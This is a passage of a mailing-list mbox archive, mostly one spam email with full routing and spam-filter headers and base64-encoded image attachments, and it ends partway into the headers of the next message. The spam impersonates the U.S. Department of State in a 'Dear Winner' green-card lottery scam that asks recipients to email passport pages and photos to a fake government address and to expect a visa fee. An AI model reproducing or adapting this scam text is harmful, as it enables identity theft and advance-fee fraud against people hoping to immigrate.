xBIWKzAAyrIsy9ID38gb3CcOBTmODGCFI+An1dEaK/GVL7ADyzKW7GGQ27iNWtNJzliNLfiCLDAJ MVCZgIABgYADeakFzdGZnvmZzaGZmomZpGmZlfkCqAkBEAADrNmaMECXySKXsgmXK2AlKjACHfBA ZSMCHDkCIvCbwCkCFzCcxDmcmXScHRAgyrmcqPdAKfKcKOJp0jmd0+lK1nmdN5Kd2rmd3JmdC/Cd 4Bme4jme40k75nme6JmebhNC7Nme7tmeKRCf8jmf9Fmf9RlW+OlCUyCaYgOWECCQdhmgxjKOSsMl Kih/LuiNvCEfgdmgSoFhVyCa/xKqmWFSNQZ5Qdz4ghAACAmYCKD5mRM6mqSJmaaJmqmpmriYogAK NrAZm3JJm3BpJTKaLTS6mNuIjdjYmzoae2a5JT76o0AapEI6pERapDt6pDiKoTa6jTTapDL6pPsD o2Ehm3LZoi1qlyq6A6q5pVyKmqZZmSNKmiH6oUkwXmTwG/N4jHC5LFrKoQzaCh8KmiEqomH6pSZ6 ov+pogFqpbA5m1J6NU/apNmypMmIo0dapD+KloqalijYqI76qCfojJI6qZRKqah3qZiaqZq6qZza qZeKAsIoBl8ZlsmhpS/Aod0AmA66qqxKWhYoNpaJman6pq1aq7bqqhPambe6qw+8qgS02qvAGqzC OqwXEQQAOw== --=_firdjxfuduok-- --=_1ughl01uxq9wg-- From nvcc@ny.com Fri Dec 20 13:33:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.1 required=5.0 tests=DEAR_WINNER,FREEMAIL_FROM, FREEMAIL_REPLYTO,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5B90529DF8 for ; Fri, 20 Dec 2013 13:33:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9D30CAC001 for ; Fri, 20 Dec 2013 11:32:53 -0800 (PST) X-ASG-Debug-ID: 1387567968-04bdf00fe2155d00001-NocioJ Received: from vps.maroweb-egypt.com (vps.maroweb-egypt.com [78.142.63.68]) by cuda.sgi.com with ESMTP id 84qkAUtHrKKJReby (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 11:32:50 -0800 (PST) X-Barracuda-Envelope-From: nvcc@ny.com X-Barracuda-Apparent-Source-IP: 78.142.63.68 Received: from localhost.localdomain ([127.0.0.1]:39477 helo=localhost) by vps.maroweb-egypt.com with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.80.1) (envelope-from ) id 1Vu5lN-0007Kb-Du; Fri, 20 Dec 2013 21:29:33 +0200 Received: from 111.84.196.35 ([111.84.196.35]) by webmail.concordshipping.com (Horde Framework) with HTTP; Fri, 20 Dec 2013 21:29:32 +0200 Message-ID: <20131220212932.91105ggwym0o8cso@webmail.concordshipping.com> Date: Fri, 20 Dec 2013 21:29:32 +0200 From: "U.S Immigration" Reply-To: visaguide.gov@america.hm To: undisclosed-recipients:; Subject: Consular- Center- Information MIME-Version: 1.0 X-ASG-Orig-Subj: Consular- Center- Information Content-Type: multipart/alternative; boundary="=_3t7uia2mfi" Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.3.11) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vps.maroweb-egypt.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - ny.com X-Get-Message-Sender-Via: vps.maroweb-egypt.com: authenticated_id: cairo@concordshipping.com X-Barracuda-Connect: vps.maroweb-egypt.com[78.142.63.68] X-Barracuda-Start-Time: 1387567970 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.30 X-Barracuda-Spam-Status: No, SCORE=1.30 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DEAR_WINNER, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.20 DEAR_WINNER BODY: DEAR_WINNER 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 This message is in MIME format. --=_3t7uia2mfi Content-Type: text/plain; charset=ISO-8859-1 Content-Description: Plaintext Version of Message Content-Disposition: inline Content-Transfer-Encoding: 7bit U.S. Department- of- State National- Visa- Center Rochester Avenue. Portsmouth NH. 35004. Case- Number: _WAC201347984009F_ December- 20, 2013 Dear- Winner, Congratulation's!- You have been selected among the lucky winners of the U.S. Green- Card for fiscal year (2013-14)..Winners were selected randomly (via) computer-draw-system of email extractions. We are sending the winning letters through the selected- email- addresses. To receive the green- card; you need to apply and obtain the U.S.- immigrant- visa. The visa will permit you to travel to the United-States- to receive the green- card. Please complete-forms DS-230. for yourself-and all accompanying family members which will be used to file your immigrant-visa petition at the National- Visa- Center to process your visa and schedule-your visa interview appointment at the U.S.- Embassy- nearest to you for the issuance of your visa. Where Can I find forms DS-230? Download DS-230 form here-DS-230: Click the application- for Immigrant- Visa-n. DS-230 form[1] >> Requirements: 1. International-Passport: Include the photo-page of your international-passport (Only the principal-applicant). View- sample here -International-> passport [2] 2. Passport-size-photograph: Glue one passport size-photograph-for each person-mentioned in the-application at the top left corner of form DS-230. View- sample here--F PASSPORT> PHOTO[3] Photo instruction is-AVAILABLE> HERE Your application will be processed at our Asia-Pacific region office. Address: South Sathorn Road Bangkok, Thailand. Contact Person: George Thaksin Tel: (+66)837103394 How Can I Submit my-application? Submit-your-application to them-for processing at this-email: <_visaguide.state.gov@america.hm[4]_> You should be prepared to pay your immigrant visa fee of $330- at the Embassy on the day of your visa-interview-appointment. The fees changes can be found here-(CHANGE IN-PROCESSING FEES-FOR-VISAS TO THE-UNITED-STATES.) Yours In Services, Mr. Michael Howard Lottery management Links: ------ [1] http://www.state.gov/documents/organization/81807.pdf [2] http://dvd4arab.maktoob.com/redirectLink.php?link=http%3A%2F%2Fwww.smh.com.au%2Fffximage%2F2006%2F12%2F12%2Fpassport1_narrowweb__300x420%2C0.jpg [3] http://www.notarylivescanpost.com/Passport_Photo.jpg [4] mailto:visastudy.state.gov@america.hm --=_3t7uia2mfi Content-Type: multipart/related; boundary="=_1fpsjw79dn1c"; start="al88tr5y1ig@webmail.concordshipping.com" Content-Transfer-Encoding: 7bit This message is in MIME format. --=_1fpsjw79dn1c Content-Type: text/html; charset=ISO-8859-1 Content-Description: HTML Version of Message Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Content-ID:
    U.S. Department- of- State<= br /> National- Visa- Center
    Rochester Avenue. Portsmouth NH. 35004.
    =
    --=_1fpsjw79dn1c Content-Type: image/jpeg Content-Disposition: attachment Content-Transfer-Encoding: base64 Content-ID: <27mz4ojavgcg@webmail.concordshipping.com> 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 zFGwC8Bjt16rMnRZNGjRrdcRo0aNRRf/2Q== --=_1fpsjw79dn1c Content-Type: image/gif Content-Disposition: attachment Content-Transfer-Encoding: base64 Content-ID: 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 OqwXEQQAOw== --=_1fpsjw79dn1c-- --=_3t7uia2mfi-- From arekm@maven.pl Fri Dec 20 16:43:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6EEC829DF8 for ; Fri, 20 Dec 2013 16:43:57 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 569F5304067 for ; Fri, 20 Dec 2013 14:43:54 -0800 (PST) X-ASG-Debug-ID: 1387579431-04cbb04166873f20001-NocioJ Received: from mail-ee0-f44.google.com (mail-ee0-f44.google.com [74.125.83.44]) by cuda.sgi.com with ESMTP id TiupPFJMg5pglfyF (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 20 Dec 2013 14:43:52 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 74.125.83.44 Received: by mail-ee0-f44.google.com with SMTP id b57so1313446eek.17 for ; Fri, 20 Dec 2013 14:43:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=s3+05pu4BBQ16/IZ1j7MVZRcCWAaniv9h+p/DRZDYAU=; b=bZDOUsYLrolCE4Wh8Le7nuZ+4uNw6gy9PSI5G8gFFzCgVpJQJUb7rYvsz2qoCfQjVI /DYV/0QacFSwLvivNDS3Eao4CP9i7I28oH/IbxPBOKxqr/uETmPvBgLo1hVddx/zJoQO yakgjDBNIu1UsLsxqWhr6PM197cVIMPS3/zkw= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=s3+05pu4BBQ16/IZ1j7MVZRcCWAaniv9h+p/DRZDYAU=; b=RCoTEFYE/I/XtWULkUU80jjQd+zBNrUJuHncdJw/65Yz3y9U1gifqYIEPDkvoEfMlg Lz3b2SckygT5ETJcSngbkVY9hygHegcsSLqfglUoCRuhoYRIbphaMK83aNJ6Ia5k6AM8 4DgoI5zuHER8SzR6QVQT6xuAL1VgsVftYPx+hBh9IFmvnFeFCwaY2qUFkBF+X+h9jkiX 0ZaB64mCTI1SQNCciqS2OBfjdm6SoIrTgCSTkOYX/TOV+dePAiqZ9EwngZVeP3GhMcC6 frUDYSJTvtJ1fE9rY9/KNg74Y2tN0d9ctRq5CAKod8RZbo8sfGofau1dTlEhhE7IZzVT cC9g== X-Gm-Message-State: ALoCoQlSJXJ61DtUbqnSrcl1EUS/hSKJEw3GsQqo75ax2Sz4wiowrrACgLZE6y2qdbb9qypNSgbc X-Received: by 10.14.119.136 with SMTP id n8mr79410eeh.82.1387579431282; Fri, 20 Dec 2013 14:43:51 -0800 (PST) Received: from t400.localnet (89-65-189-48.dynamic.chello.pl. [89.65.189.48]) by mx.google.com with ESMTPSA id p45sm22551913eeg.1.2013.12.20.14.43.48 for (version=TLSv1.2 